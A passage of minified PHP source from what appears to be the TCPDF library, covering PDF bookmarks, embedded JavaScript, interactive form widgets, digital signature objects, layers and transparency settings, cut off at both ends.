$key=>$row){$outline_p[$key]=$row['p'];$outline_k[$key]=$key;}array_multisort($outline_p,SORT_NUMERIC,SORT_ASC,$outline_k,SORT_NUMERIC,SORT_ASC,$this->outlines);} function _putbookmarks(){$nb=count($this->outlines);if($nb==0){return;}$this->sortBookmarks();$lru=array();$level=0;foreach($this->outlines as $i=>$o){if($o['l']>0){$parent=$lru[($o['l']-1)];$this->outlines[$i]['parent']=$parent;$this->outlines[$parent]['last']=$i;if($o['l']>$level){$this->outlines[$parent]['first']=$i;}}else {$this->outlines[$i]['parent']=$nb;}if(($o['l']<=$level) AND ($i>0)){$prev=$lru[$o['l']];$this->outlines[$prev]['next']=$i;$this->outlines[$i]['prev']=$prev;}$lru[$o['l']]=$i;$level=$o['l'];}$n=$this->n+1;$nltags='/<br[\s]?\/>|<\/(blockquote|dd|dl|div|dt|h1|h2|h3|h4|h5|h6|hr|li|ol|p|pre|ul|tcpdf|table|tr|td)>/si';foreach($this->outlines as $i=>$o){$oid=$this->_newobj();$title=preg_replace($nltags,"
",$o['t']);$title=preg_replace("/[
]+/si",'',$title);$title=preg_replace("/[
]+/si","
",$title);$title=strip_tags($title);$title=$this->stringTrim($title);$out='<</Title '.$this->_textstring($title,$oid);$out.=' /Parent '.($n+$o['parent']).' 0 R';if(isset($o['prev'])){$out.=' /Prev '.($n+$o['prev']).' 0 R';}if(isset($o['next'])){$out.=' /Next '.($n+$o['next']).' 0 R';}if(isset($o['first'])){$out.=' /First '.($n+$o['first']).' 0 R';}if(isset($o['last'])){$out.=' /Last '.($n+$o['last']).' 0 R';}if(isset($o['u']) AND !empty($o['u'])){if(is_string($o['u'])){if($o['u'][0]=='#'){$out.=' /Dest /'.TCPDF_STATIC::encodeNameObject(substr($o['u'],1));}elseif($o['u'][0]=='%'){$filename=basename(substr($o['u'],1));$out.=' /A <</S /GoToE /D [0 /Fit] /NewWindow true /T << /R /C /P '.($o['p']-1).' /A '.$this->embeddedfiles[$filename]['a'].' >> >>';}elseif($o['u'][0]=='*'){$filename=basename(substr($o['u'],1));$jsa='var D=event.target.doc;var MyData=D.dataObjects;for (var i in MyData) if (MyData[i].path=="'.$filename.'") D.exportDataObject( { cName : MyData[i].name, nLaunch : 2});';$out.=' /A <</S /JavaScript /JS '.$this->_textstring($jsa,$oid).'>>';}else {$out.=' /A <</S /URI /URI '.$this->_datastring($this->unhtmlentities($o['u']),$oid).'>>';}}elseif(isset($this->links[$o['u']])){$l=$this->links[$o['u']];if(isset($this->page_obj_id[($l['p'])])){$out.=sprintf(' /Dest [%u 0 R /XYZ 0 %F null]',$this->page_obj_id[($l['p'])],($this->pagedim[$l['p']]['h']-($l['y']*$this->k)));}}}elseif(isset($this->page_obj_id[($o['p'])])){$out.=' '.sprintf('/Dest [%u 0 R /XYZ %F %F null]',$this->page_obj_id[($o['p'])],($o['x']*$this->k),($this->pagedim[$o['p']]['h']-($o['y']*$this->k)));}$style=0;if(!empty($o['s'])){if(strpos($o['s'],'B')!==false){$style|=2;}if(strpos($o['s'],'I')!==false){$style|=1;}}$out.=sprintf(' /F %d',$style);if(isset($o['c']) AND is_array($o['c']) AND (count($o['c'])==3)){$color=array_values($o['c']);$out.=sprintf(' /C [%F %F %F]',($color[0]/255),($color[1]/255),($color[2]/255));}else {$out.=' /C [0.0 0.0 0.0]';}$out.=' /Count 0';$out.=' >>';$out.="
".'endobj';$this->_out($out);}$this->OutlineRoot=$this->_newobj();$this->_out('<< /Type /Outlines /First '.$n.' 0 R /Last '.($n+$lru[0]).' 0 R >>'."
".'endobj');} function IncludeJS($script){$this->javascript.=$script;} function addJavascriptObject($script,$onload=false){if($this->pdfa_mode){return false;}++$this->n;$this->js_objects[$this->n]=array('n'=>$this->n,'js'=>$script,'onload'=>$onload);return $this->n;} function _putjavascript(){if($this->pdfa_mode OR (empty($this->javascript) AND empty($this->js_objects))){return;}if(strpos($this->javascript,'this.addField')>0){if(!$this->ur['enabled']){}$jsa=sprintf("ftcpdfdocsaved=this.addField('%s','%s',%d,[%F,%F,%F,%F]);",'tcpdfdocsaved','text',0,0,1,0,1);$jsb="getField('tcpdfdocsaved').value='saved';";$this->javascript=$jsa."
".$this->javascript."
".$jsb;}$this->n_js='<< /Names [';if(!empty($this->javascript)){$this->n_js.=' (EmbeddedJS) '.($this->n+1).' 0 R';}if(!empty($this->js_objects)){foreach($this->js_objects as $key=>$val){if($val['onload']){$this->n_js.=' (JS'.$key.') '.$key.' 0 R';}}}$this->n_js.=' ] >>';if(!empty($this->javascript)){$obj_id=$this->_newobj();$out='<< /S /JavaScript';$out.=' /JS '.$this->_textstring($this->javascript,$obj_id);$out.=' >>';$out.="
".'endobj';$this->_out($out);}if(!empty($this->js_objects)){foreach($this->js_objects as $key=>$val){$out=$this->_getobj($key)."
".' << /S /JavaScript /JS '.$this->_textstring($val['js'],$key).' >>'."
".'endobj';$this->_out($out);}}} function _addfield($type,$name,$x,$y,$w,$h,$prop){if($this->rtl){$x=$x-$w;}$this->javascript.="if (getField('tcpdfdocsaved').value != 'saved') {";$k=$this->k;$this->javascript.=sprintf("f".$name."=this.addField('%s','%s',%u,[%F,%F,%F,%F]);",$name,$type,$this->PageNo()-1,$x*$k,($this->h-$y)*$k+1,($x+$w)*$k,($this->h-$y-$h)*$k+1)."
";$this->javascript.='f'.$name.'.textSize='.$this->FontSizePt.";
";while(list($key,$val)=each($prop)){if(strcmp(substr($key,-5),'Color')==0){$val=TCPDF_COLORS::_JScolor($val);}else {$val="'".$val."'";}$this->javascript.='f'.$name.'.'.$key.'='.$val.";
";}if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}$this->javascript.='}';} function setFormDefaultProp($prop=array()){$this->default_form_prop=$prop;} function getFormDefaultProp(){return $this->default_form_prop;} function TextField($name,$w,$h,$prop=array(),$opt=array(),$x='',$y='',$js=false){if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);if($js){$this->_addfield('text',$name,$x,$y,$w,$h,$prop);return;}$prop=array_merge($this->getFormDefaultProp(),$prop);$popt=TCPDF_STATIC::getAnnotOptFromJSProp($prop,$this->spot_colors,$this->rtl);$this->annotation_fonts[$this->CurrentFont['fontkey']]=$this->CurrentFont['i'];$fontstyle=sprintf('/F%d %F Tf %s',$this->CurrentFont['i'],$this->FontSizePt,$this->TextColor);$popt['da']=$fontstyle;$popt['ap']=array();$popt['ap']['n']='/Tx BMC q '.$fontstyle.' ';$text='';if(isset($prop['value']) AND !empty($prop['value'])){$text=$prop['value'];}elseif(isset($opt['v']) AND !empty($opt['v'])){$text=$opt['v'];}$tmpid=$this->startTemplate($w,$h,false);$align='';if(isset($popt['q'])){switch($popt['q']){case 0:{$align='L';break;}case 1:{$align='C';break;}case 2:{$align='R';break;}default:{$align='';break;}}}$this->MultiCell($w,$h,$text,0,$align,false,0,0,0,true,0,false,true,0,'T',false);$this->endTemplate();--$this->n;$popt['ap']['n'].=$this->xobjects[$tmpid]['outdata'];unset($this->xobjects[$tmpid]);$popt['ap']['n'].='Q EMC';$opt=array_merge($popt,$opt);unset($opt['bs']);$opt['Subtype']='Widget';$opt['ft']='Tx';$opt['t']=$name;unset($opt['mk']['ca']);unset($opt['mk']['rc']);unset($opt['mk']['ac']);unset($opt['mk']['i']);unset($opt['mk']['ri']);unset($opt['mk']['ix']);unset($opt['mk']['if']);unset($opt['mk']['tp']);$this->Annotation($x,$y,$w,$h,$name,$opt,0);if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}} function RadioButton($name,$w,$prop=array(),$opt=array(),$onvalue='On',$checked=false,$x='',$y='',$js=false){if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}list($x,$y)=$this->checkPageRegions($w,$x,$y);if($js){$this->_addfield('radiobutton',$name,$x,$y,$w,$w,$prop);return;}if(TCPDF_STATIC::empty_string($onvalue)){$onvalue='On';}if($checked){$defval=$onvalue;}else {$defval='Off';}$font='zapfdingbats';if($this->pdfa_mode){$font='pdfa'.$font;}$this->AddFont($font);$tmpfont=$this->getFontBuffer($font);if(!isset($this->radiobutton_groups[$this->page])){$this->radiobutton_groups[$this->page]=array();}if(!isset($this->radiobutton_groups[$this->page][$name])){$this->radiobutton_groups[$this->page][$name]=array();++$this->n;$this->radiobutton_groups[$this->page][$name]['n']=$this->n;$this->radio_groups[]=$this->n;}$kid=($this->n+1);$this->radiobutton_groups[$this->page][$name][]=array('kid'=>$kid,'def'=>$defval);$prop=array_merge($this->getFormDefaultProp(),$prop);$prop['NoToggleToOff']='true';$prop['Radio']='true';$prop['borderStyle']='inset';$popt=TCPDF_STATIC::getAnnotOptFromJSProp($prop,$this->spot_colors,$this->rtl);$this->annotation_fonts[$tmpfont['fontkey']]=$tmpfont['i'];$fontstyle=sprintf('/F%d %F Tf %s',$tmpfont['i'],$this->FontSizePt,$this->TextColor);$popt['da']=$fontstyle;$popt['ap']=array();$popt['ap']['n']=array();$fx=((($w-$this->getAbsFontMeasure($tmpfont['cw'][108]))/2)*$this->k);$fy=(($w-((($tmpfont['desc']['Ascent']-$tmpfont['desc']['Descent'])*$this->FontSizePt/1000)/$this->k))*$this->k);$popt['ap']['n'][$onvalue]=sprintf('q %s BT /F%d %F Tf %F %F Td ('.chr(108).') Tj ET Q',$this->TextColor,$tmpfont['i'],$this->FontSizePt,$fx,$fy);$popt['ap']['n']['Off']=sprintf('q %s BT /F%d %F Tf %F %F Td ('.chr(109).') Tj ET Q',$this->TextColor,$tmpfont['i'],$this->FontSizePt,$fx,$fy);if(!isset($popt['mk'])){$popt['mk']=array();}$popt['mk']['ca']='(l)';$opt=array_merge($popt,$opt);$opt['Subtype']='Widget';$opt['ft']='Btn';if($checked){$opt['v']=array('/'.$onvalue);$opt['as']=$onvalue;}else {$opt['as']='Off';}if(!isset($this->radiobutton_groups[$this->page][$name]['#readonly#'])){$this->radiobutton_groups[$this->page][$name]['#readonly#']=false;}$this->radiobutton_groups[$this->page][$name]['#readonly#']|=($opt['f']&64);$this->Annotation($x,$y,$w,$w,$name,$opt,0);if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}} function ListBox($name,$w,$h,$values,$prop=array(),$opt=array(),$x='',$y='',$js=false){if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);if($js){$this->_addfield('listbox',$name,$x,$y,$w,$h,$prop);$s='';foreach($values as $value){if(is_array($value)){$s.=',[\''.addslashes($value[1]).'\',\''.addslashes($value[0]).'\']';}else {$s.=',[\''.addslashes($value).'\',\''.addslashes($value).'\']';}}$this->javascript.='f'.$name.'.setItems('.substr($s,1).');'."
";return;}$prop=array_merge($this->getFormDefaultProp(),$prop);$popt=TCPDF_STATIC::getAnnotOptFromJSProp($prop,$this->spot_colors,$this->rtl);$this->annotation_fonts[$this->CurrentFont['fontkey']]=$this->CurrentFont['i'];$fontstyle=sprintf('/F%d %F Tf %s',$this->CurrentFont['i'],$this->FontSizePt,$this->TextColor);$popt['da']=$fontstyle;$popt['ap']=array();$popt['ap']['n']='/Tx BMC q '.$fontstyle.' ';$text='';foreach($values as $item){if(is_array($item)){$text.=$item[1]."
";}else {$text.=$item."
";}}$tmpid=$this->startTemplate($w,$h,false);$this->MultiCell($w,$h,$text,0,'',false,0,0,0,true,0,false,true,0,'T',false);$this->endTemplate();--$this->n;$popt['ap']['n'].=$this->xobjects[$tmpid]['outdata'];unset($this->xobjects[$tmpid]);$popt['ap']['n'].='Q EMC';$opt=array_merge($popt,$opt);$opt['Subtype']='Widget';$opt['ft']='Ch';$opt['t']=$name;$opt['opt']=$values;unset($opt['mk']['ca']);unset($opt['mk']['rc']);unset($opt['mk']['ac']);unset($opt['mk']['i']);unset($opt['mk']['ri']);unset($opt['mk']['ix']);unset($opt['mk']['if']);unset($opt['mk']['tp']);$this->Annotation($x,$y,$w,$h,$name,$opt,0);if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}} function ComboBox($name,$w,$h,$values,$prop=array(),$opt=array(),$x='',$y='',$js=false){if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);if($js){$this->_addfield('combobox',$name,$x,$y,$w,$h,$prop);$s='';foreach($values as $value){if(is_array($value)){$s.=',[\''.addslashes($value[1]).'\',\''.addslashes($value[0]).'\']';}else {$s.=',[\''.addslashes($value).'\',\''.addslashes($value).'\']';}}$this->javascript.='f'.$name.'.setItems('.substr($s,1).');'."
";return;}$prop=array_merge($this->getFormDefaultProp(),$prop);$prop['Combo']=true;$popt=TCPDF_STATIC::getAnnotOptFromJSProp($prop,$this->spot_colors,$this->rtl);$this->annotation_fonts[$this->CurrentFont['fontkey']]=$this->CurrentFont['i'];$fontstyle=sprintf('/F%d %F Tf %s',$this->CurrentFont['i'],$this->FontSizePt,$this->TextColor);$popt['da']=$fontstyle;$popt['ap']=array();$popt['ap']['n']='/Tx BMC q '.$fontstyle.' ';$text='';foreach($values as $item){if(is_array($item)){$text.=$item[1]."
";}else {$text.=$item."
";}}$tmpid=$this->startTemplate($w,$h,false);$this->MultiCell($w,$h,$text,0,'',false,0,0,0,true,0,false,true,0,'T',false);$this->endTemplate();--$this->n;$popt['ap']['n'].=$this->xobjects[$tmpid]['outdata'];unset($this->xobjects[$tmpid]);$popt['ap']['n'].='Q EMC';$opt=array_merge($popt,$opt);$opt['Subtype']='Widget';$opt['ft']='Ch';$opt['t']=$name;$opt['opt']=$values;unset($opt['mk']['ca']);unset($opt['mk']['rc']);unset($opt['mk']['ac']);unset($opt['mk']['i']);unset($opt['mk']['ri']);unset($opt['mk']['ix']);unset($opt['mk']['if']);unset($opt['mk']['tp']);$this->Annotation($x,$y,$w,$h,$name,$opt,0);if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}} function CheckBox($name,$w,$checked=false,$prop=array(),$opt=array(),$onvalue='Yes',$x='',$y='',$js=false){if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}list($x,$y)=$this->checkPageRegions($w,$x,$y);if($js){$this->_addfield('checkbox',$name,$x,$y,$w,$w,$prop);return;}if(!isset($prop['value'])){$prop['value']=array('Yes');}$prop=array_merge($this->getFormDefaultProp(),$prop);$prop['borderStyle']='inset';$popt=TCPDF_STATIC::getAnnotOptFromJSProp($prop,$this->spot_colors,$this->rtl);$font='zapfdingbats';if($this->pdfa_mode){$font='pdfa'.$font;}$this->AddFont($font);$tmpfont=$this->getFontBuffer($font);$this->annotation_fonts[$tmpfont['fontkey']]=$tmpfont['i'];$fontstyle=sprintf('/F%d %F Tf %s',$tmpfont['i'],$this->FontSizePt,$this->TextColor);$popt['da']=$fontstyle;$popt['ap']=array();$popt['ap']['n']=array();$fx=((($w-$this->getAbsFontMeasure($tmpfont['cw'][110]))/2)*$this->k);$fy=(($w-((($tmpfont['desc']['Ascent']-$tmpfont['desc']['Descent'])*$this->FontSizePt/1000)/$this->k))*$this->k);$popt['ap']['n']['Yes']=sprintf('q %s BT /F%d %F Tf %F %F Td ('.chr(110).') Tj ET Q',$this->TextColor,$tmpfont['i'],$this->FontSizePt,$fx,$fy);$popt['ap']['n']['Off']=sprintf('q %s BT /F%d %F Tf %F %F Td ('.chr(111).') Tj ET Q',$this->TextColor,$tmpfont['i'],$this->FontSizePt,$fx,$fy);$opt=array_merge($popt,$opt);$opt['Subtype']='Widget';$opt['ft']='Btn';$opt['t']=$name;if(TCPDF_STATIC::empty_string($onvalue)){$onvalue='Yes';}$opt['opt']=array($onvalue);if($checked){$opt['v']=array('/Yes');$opt['as']='Yes';}else {$opt['v']=array('/Off');$opt['as']='Off';}$this->Annotation($x,$y,$w,$w,$name,$opt,0);if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}} function Button($name,$w,$h,$caption,$action,$prop=array(),$opt=array(),$x='',$y='',$js=false){if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);if($js){$this->_addfield('button',$name,$this->x,$this->y,$w,$h,$prop);$this->javascript.='f'.$name.".buttonSetCaption('".addslashes($caption)."');
";$this->javascript.='f'.$name.".setAction('MouseUp','".addslashes($action)."');
";$this->javascript.='f'.$name.".highlight='push';
";$this->javascript.='f'.$name.".print=false;
";return;}$prop=array_merge($this->getFormDefaultProp(),$prop);$prop['Pushbutton']='true';$prop['highlight']='push';$prop['display']='display.noPrint';$popt=TCPDF_STATIC::getAnnotOptFromJSProp($prop,$this->spot_colors,$this->rtl);$this->annotation_fonts[$this->CurrentFont['fontkey']]=$this->CurrentFont['i'];$fontstyle=sprintf('/F%d %F Tf %s',$this->CurrentFont['i'],$this->FontSizePt,$this->TextColor);$popt['da']=$fontstyle;$popt['ap']=array();$popt['ap']['n']='/Tx BMC q '.$fontstyle.' ';$tmpid=$this->startTemplate($w,$h,false);$bw=(2/$this->k);$border=array('L'=>array('width'=>$bw,'cap'=>'square','join'=>'miter','dash'=>0,'color'=>array(231)),'R'=>array('width'=>$bw,'cap'=>'square','join'=>'miter','dash'=>0,'color'=>array(51)),'T'=>array('width'=>$bw,'cap'=>'square','join'=>'miter','dash'=>0,'color'=>array(231)),'B'=>array('width'=>$bw,'cap'=>'square','join'=>'miter','dash'=>0,'color'=>array(51)));$this->SetFillColor(204);$this->Cell($w,$h,$caption,$border,0,'C',true,'',1,false,'T','M');$this->endTemplate();--$this->n;$popt['ap']['n'].=$this->xobjects[$tmpid]['outdata'];unset($this->xobjects[$tmpid]);$popt['ap']['n'].='Q EMC';if(!isset($popt['mk'])){$popt['mk']=array();}$ann_obj_id=($this->n+1);if(!empty($action) AND !is_array($action)){$ann_obj_id=($this->n+2);}$popt['mk']['ca']=$this->_textstring($caption,$ann_obj_id);$popt['mk']['rc']=$this->_textstring($caption,$ann_obj_id);$popt['mk']['ac']=$this->_textstring($caption,$ann_obj_id);$opt=array_merge($popt,$opt);$opt['Subtype']='Widget';$opt['ft']='Btn';$opt['t']=$caption;$opt['v']=$name;if(!empty($action)){if(is_array($action)){$opt['aa']='/D <<';$bmode=array('SubmitForm','ResetForm','ImportData');foreach($action AS $key=>$val){if(($key=='S') AND in_array($val,$bmode)){$opt['aa'].=' /S /'.$val;}elseif(($key=='F') AND (!empty($val))){$opt['aa'].=' /F '.$this->_datastring($val,$ann_obj_id);}elseif(($key=='Fields') AND is_array($val) AND !empty($val)){$opt['aa'].=' /Fields [';foreach($val AS $field){$opt['aa'].=' '.$this->_textstring($field,$ann_obj_id);}$opt['aa'].=']';}elseif(($key=='Flags')){$ff=0;if(is_array($val)){foreach($val AS $flag){switch($flag){case 'Include/Exclude':{$ff+=1<<0;break;}case 'IncludeNoValueFields':{$ff+=1<<1;break;}case 'ExportFormat':{$ff+=1<<2;break;}case 'GetMethod':{$ff+=1<<3;break;}case 'SubmitCoordinates':{$ff+=1<<4;break;}case 'XFDF':{$ff+=1<<5;break;}case 'IncludeAppendSaves':{$ff+=1<<6;break;}case 'IncludeAnnotations':{$ff+=1<<7;break;}case 'SubmitPDF':{$ff+=1<<8;break;}case 'CanonicalFormat':{$ff+=1<<9;break;}case 'ExclNonUserAnnots':{$ff+=1<<10;break;}case 'ExclFKey':{$ff+=1<<11;break;}case 'EmbedForm':{$ff+=1<<13;break;}}}}else {$ff=intval($val);}$opt['aa'].=' /Flags '.$ff;}}$opt['aa'].=' >>';}else {$js_obj_id=$this->addJavascriptObject($action);$opt['aa']='/D '.$js_obj_id.' 0 R';}}$this->Annotation($x,$y,$w,$h,$name,$opt,0);if($this->rtl){$this->x-=$w;}else {$this->x+=$w;}} function _putsignature(){if((!$this->sign) OR (!isset($this->signature_data['cert_type']))){return;}$sigobjid=($this->sig_obj_id+1);$out=$this->_getobj($sigobjid)."
";$out.='<< /Type /Sig';$out.=' /Filter /Adobe.PPKLite';$out.=' /SubFilter /adbe.pkcs7.detached';$out.=' '.TCPDF_STATIC::$byterange_string;$out.=' /Contents<'.str_repeat('0',$this->signature_max_length).'>';if(empty($this->signature_data['approval']) OR ($this->signature_data['approval']!='A')){$out.=' /Reference [';$out.=' << /Type /SigRef';if($this->signature_data['cert_type']>0){$out.=' /TransformMethod /DocMDP';$out.=' /TransformParams <<';$out.=' /Type /TransformParams';$out.=' /P '.$this->signature_data['cert_type'];$out.=' /V /1.2';}else {$out.=' /TransformMethod /UR3';$out.=' /TransformParams <<';$out.=' /Type /TransformParams';$out.=' /V /2.2';if(!TCPDF_STATIC::empty_string($this->ur['document'])){$out.=' /Document['.$this->ur['document'].']';}if(!TCPDF_STATIC::empty_string($this->ur['form'])){$out.=' /Form['.$this->ur['form'].']';}if(!TCPDF_STATIC::empty_string($this->ur['signature'])){$out.=' /Signature['.$this->ur['signature'].']';}if(!TCPDF_STATIC::empty_string($this->ur['annots'])){$out.=' /Annots['.$this->ur['annots'].']';}if(!TCPDF_STATIC::empty_string($this->ur['ef'])){$out.=' /EF['.$this->ur['ef'].']';}if(!TCPDF_STATIC::empty_string($this->ur['formex'])){$out.=' /FormEX['.$this->ur['formex'].']';}}$out.=' >>';$out.=' >>';$out.=' ]';}if(isset($this->signature_data['info']['Name']) AND !TCPDF_STATIC::empty_string($this->signature_data['info']['Name'])){$out.=' /Name '.$this->_textstring($this->signature_data['info']['Name'],$sigobjid);}if(isset($this->signature_data['info']['Location']) AND !TCPDF_STATIC::empty_string($this->signature_data['info']['Location'])){$out.=' /Location '.$this->_textstring($this->signature_data['info']['Location'],$sigobjid);}if(isset($this->signature_data['info']['Reason']) AND !TCPDF_STATIC::empty_string($this->signature_data['info']['Reason'])){$out.=' /Reason '.$this->_textstring($this->signature_data['info']['Reason'],$sigobjid);}if(isset($this->signature_data['info']['ContactInfo']) AND !TCPDF_STATIC::empty_string($this->signature_data['info']['ContactInfo'])){$out.=' /ContactInfo '.$this->_textstring($this->signature_data['info']['ContactInfo'],$sigobjid);}$out.=' /M '.$this->_datestring($sigobjid,$this->doc_modification_timestamp);$out.=' >>';$out.="
".'endobj';$this->_out($out);} function setUserRights($enable=true,$document='/FullSave',$annots='/Create/Delete/Modify/Copy/Import/Export',$form='/Add/Delete/FillIn/Import/Export/SubmitStandalone/SpawnTemplate',$signature='/Modify',$ef='/Create/Delete/Modify/Import',$formex=''){$this->ur['enabled']=$enable;$this->ur['document']=$document;$this->ur['annots']=$annots;$this->ur['form']=$form;$this->ur['signature']=$signature;$this->ur['ef']=$ef;$this->ur['formex']=$formex;if(!$this->sign){$this->setSignature('','','','',0,array());}} function setSignature($signing_cert='',$private_key='',$private_key_password='',$extracerts='',$cert_type=2,$info=array(),$approval=''){$this->sign=true;++$this->n;$this->sig_obj_id=$this->n;++$this->n;$this->signature_data=array();if(strlen($signing_cert)==0){$this->Error('Please provide a certificate file and password!');}if(strlen($private_key)==0){$private_key=$signing_cert;}$this->signature_data['signcert']=$signing_cert;$this->signature_data['privkey']=$private_key;$this->signature_data['password']=$private_key_password;$this->signature_data['extracerts']=$extracerts;$this->signature_data['cert_type']=$cert_type;$this->signature_data['info']=$info;$this->signature_data['approval']=$approval;} function setSignatureAppearance($x=0,$y=0,$w=0,$h=0,$page=-1,$name=''){$this->signature_appearance=$this->getSignatureAppearanceArray($x,$y,$w,$h,$page,$name);} function addEmptySignatureAppearance($x=0,$y=0,$w=0,$h=0,$page=-1,$name=''){++$this->n;$this->empty_signature_appearance[]=array('objid'=>$this->n)+$this->getSignatureAppearanceArray($x,$y,$w,$h,$page,$name);} function getSignatureAppearanceArray($x=0,$y=0,$w=0,$h=0,$page=-1,$name=''){$sigapp=array();if(($page<1) OR ($page>$this->numpages)){$sigapp['page']=$this->page;}else {$sigapp['page']=intval($page);}if(empty($name)){$sigapp['name']='Signature';}else {$sigapp['name']=$name;}$a=$x*$this->k;$b=$this->pagedim[($sigapp['page'])]['h']-(($y+$h)*$this->k);$c=$w*$this->k;$d=$h*$this->k;$sigapp['rect']=sprintf('%F %F %F %F',$a,$b,($a+$c),($b+$d));return $sigapp;} function setTimeStamp($tsa_host='',$tsa_username='',$tsa_password='',$tsa_cert=''){$this->tsa_data=array();if(!function_exists('curl_init')){$this->Error('Please enable cURL PHP extension!');}if(strlen($tsa_host)==0){$this->Error('Please specify the host of Time Stamping Authority (TSA)!');}$this->tsa_data['tsa_host']=$tsa_host;if(is_file($tsa_username)){$this->tsa_data['tsa_auth']=$tsa_username;}else {$this->tsa_data['tsa_username']=$tsa_username;}$this->tsa_data['tsa_password']=$tsa_password;$this->tsa_data['tsa_cert']=$tsa_cert;$this->tsa_timestamp=true;} function applyTSA($signature){if(!$this->tsa_timestamp){return $signature;}return $signature;} function startPageGroup($page=''){if(empty($page)){$page=$this->page+1;}$this->newpagegroup[$page]=sizeof($this->newpagegroup)+1;} function setStartingPageNumber($num=1){$this->starting_page_number=max(0,intval($num));} function getAliasRightShift(){$ref='{'.TCPDF_STATIC::$alias_right_shift.'}{'.TCPDF_STATIC::$alias_tot_pages.'}{'.TCPDF_STATIC::$alias_num_page.'}';$rep=str_repeat(' ',$this->GetNumChars($ref));$wrep=$this->GetStringWidth($rep);if($wrep>0){$wdiff=max(1,($this->GetStringWidth($ref)/$wrep));}else {$wdiff=1;}$sdiff=sprintf('%F',$wdiff);$alias=TCPDF_STATIC::$alias_right_shift.$sdiff.'}';if($this->isUnicodeFont()){$alias='{'.$alias;}return $alias;} function getAliasNbPages(){if($this->isUnicodeFont()){return '{'.TCPDF_STATIC::$alias_tot_pages.'}';}return TCPDF_STATIC::$alias_tot_pages;} function getAliasNumPage(){if($this->isUnicodeFont()){return '{'.TCPDF_STATIC::$alias_num_page.'}';}return TCPDF_STATIC::$alias_num_page;} function getPageGroupAlias(){if($this->isUnicodeFont()){return '{'.TCPDF_STATIC::$alias_group_tot_pages.'}';}return TCPDF_STATIC::$alias_group_tot_pages;} function getPageNumGroupAlias(){if($this->isUnicodeFont()){return '{'.TCPDF_STATIC::$alias_group_num_page.'}';}return TCPDF_STATIC::$alias_group_num_page;} function getGroupPageNo(){return $this->pagegroups[$this->currpagegroup];} function getGroupPageNoFormatted(){return TCPDF_STATIC::formatPageNumber($this->getGroupPageNo());} function PageNoFormatted(){return TCPDF_STATIC::formatPageNumber($this->PageNo());} function _putocg(){if(empty($this->pdflayers)){return;}foreach($this->pdflayers as $key=>$layer){$this->pdflayers[$key]['objid']=$this->_newobj();$out='<< /Type /OCG';$out.=' /Name '.$this->_textstring($layer['name'],$this->pdflayers[$key]['objid']);$out.=' /Usage <<';if(isset($layer['print']) AND ($layer['print']!==NULL)){$out.=' /Print <</PrintState /'.($layer['print']?'ON':'OFF').'>>';}$out.=' /View <</ViewState /'.($layer['view']?'ON':'OFF').'>>';$out.=' >> >>';$out.="
".'endobj';$this->_out($out);}} function startLayer($name='',$print=true,$view=true,$lock=true){if($this->state!=2){return;}$layer=sprintf('LYR%03d',(count($this->pdflayers)+1));if(empty($name)){$name=$layer;}else {$name=preg_replace('/[^a-zA-Z0-9_\-]/','',$name);}$this->pdflayers[]=array('layer'=>$layer,'name'=>$name,'print'=>$print,'view'=>$view,'lock'=>$lock);$this->openMarkedContent=true;$this->_out('/OC /'.$layer.' BDC');} function endLayer(){if($this->state!=2){return;}if($this->openMarkedContent){$this->_out('EMC');$this->openMarkedContent=false;}} function setVisibility($v){if($this->state!=2){return;}$this->endLayer();switch($v){case 'print':{$this->startLayer('Print',true,false);break;}case 'view':case 'screen':{$this->startLayer('View',false,true);break;}case 'all':{$this->_out('');break;}default:{$this->Error('Incorrect visibility: '.$v);break;}}} function addExtGState($parms){if($this->pdfa_mode){return;}foreach($this->extgstates as $i=>$ext){if($ext['parms']==$parms){if($this->inxobj){$this->xobjects[$this->xobjid]['extgstates'][$i]=$ext;}return $i;}}$n=(count($this->extgstates)+1);$this->extgstates[$n]=array('parms'=>$parms);if($this->inxobj){$this->xobjects[$this->xobjid]['extgstates'][$n]=$this->extgstates[$n];}return $n;} function setExtGState($gs){if($this->pdfa_mode OR ($this->state!=2)){return;}$this->_out(sprintf('/GS%d gs',$gs));} function _putextgstates(){foreach($this->extgstates as $i=>$ext){$this->extgstates[$i]['n']=$this->_newobj();$out='<< /Type /ExtGState';foreach($ext['parms'] as $k=>$v){if(is_float($v)){$v=sprintf('%F',$v);}elseif($v===true){$v='true';}elseif($v===false){$v='false';}$out.=' /'.$k.' '.$v;}$out.=' >>';$out.="
".'endobj';$this->_out($out);}} function setOverprint($stroking=true,$nonstroking='',$mode=0){if($this->state!=2){return;}$stroking=$stroking?true:false;if(TCPDF_STATIC::empty_string($nonstroking)){$nonstroking=$stroking;}else {$nonstroking=$nonstroking?true:false;}if(($mode!=0) AND ($mode!=1)){$mode=0;}$this->overprint=array('OP'=>$stroking,'op'=>$nonstroking,'OPM'=>$mode);$gs=$this->addExtGState($this->overprint);$this->setExtGState($gs);} function getOverprint(){return $this->overprint;} function setAlpha($stroking=1,$bm='Normal',$nonstroking='',$ais=false){if($this->pdfa_mode){return;}$stroking=floatval($stroking);if(TCPDF_STATIC::empty_string($nonstroking)){$nonstroking=$stroking;}else {$nonstroking=floatval($nonstroking);}if($bm[0]=='/'){$bm=substr($bm,1);}if(!in_array($bm,array('Normal','Multiply','Screen','Overlay','Darken','Lighten','ColorDodge','ColorBurn','HardLight','SoftLight','Difference','Exclusion','Hue','Saturation','Color','Luminosity'))){$bm='Normal';}$ais=$ais?true:false;$this->alpha=array('CA'=>$stroking,'ca'=>$nonstroking,'BM'=>'/'.$bm,'AIS'=>$ais);$gs=$this->addExtGState($this->alpha);$this->setExtGState($gs);} function getAlpha(){return $this->alpha;} function setJPEGQuality($quality){if(($quality<1) OR ($quality>100)){$quality=75;}$this->jpeg_quality=intval($quality);} function setDefaultTableColumns($cols=4){$this->default_table_columns=intval($cols);} function 